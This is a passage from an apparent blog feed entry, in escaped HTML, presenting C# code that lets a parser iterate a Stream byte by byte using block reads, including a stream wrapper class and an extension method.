class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanWrite&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanWrite&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Flush&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Flush&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Seek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SeekOrigin&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;origin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Seek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;origin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SetLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;44&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;45&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;46&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And an example of the extension method way...&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;StreamExtensions&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;this&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;++)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;yield&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;No, I&#39;m not about to wax poetic about the deep ontological issues raised in The Matrix, or speak meaningfully about how transient the modern world of communication is and how the artifacts of our lifetime have become ephemeral such that our posterity will not be able to remember us, even if they wanted to.&lt;/p&gt;&#xA;&lt;p&gt;Instead I&#39;m going to post a code snippet that solves an annoying little scenario that comes up every now and again when writing parsers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Basically, it goes like this:&lt;/p&gt;&#xA;&lt;p&gt;You&#39;re writing a parser, and you need to check every byte in a stream of bytes coming from a file or network stream. You might need to read forward or read backward a little, to match a multi-byte pattern or value within &lt;em&gt;n&lt;/em&gt; bytes of another value. You figure instead of &amp;quot;peeking and seeking&amp;quot; against the stream (what it&#39;s read-only!?!?), your parser can just store the state, and still only look at a single byte at a time. That&#39;s great and all, and you do a quick implementation using &lt;code&gt;stream.ReadByte&lt;/code&gt;, which seems to work...&lt;/p&gt;&#xA;&lt;p&gt;Except it&#39;s slow. You know from experience that block reads are way faster, and you want to read a block of data that&#39;s say 1k or 4k from your stream, and then parse that, fetch another block, parse that, yada yada. But what if your pattern straddles two blocks? What if the first byte of a two byte sequence is the last byte in a block and the next block&#39;s first byte is the second character? Now your parser needs to stop what it&#39;s doing, exit the loop, go grab some more data, then restart its iteration over that. You could build all that behaviour into your parser (for every parser that you write), but it&#39;s non-trival to deal with. In fact it&#39;s a real pain in the butt to refactor a parser to work that way.&lt;/p&gt;&#xA;&lt;p&gt;Also, you think to yourself &amp;quot;Man... It would be SOOOOooooo much nicer if I could just write a &lt;code&gt;foreach&lt;/code&gt; loop, and like get every byte in the stream in one bit long iteration... Why doesn&#39;t &lt;code&gt;System.IO.Stream&lt;/code&gt; implement &lt;code&gt;IEnumerable&lt;/code&gt;?!?&amp;quot; It totally makes sense that it should...&lt;/p&gt;&#xA;&lt;p&gt;Anyhow, story&#39;s over. Here&#39;s the code to solve it:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBytesFromStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;++)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;yield&lt;/span&gt; &lt;span 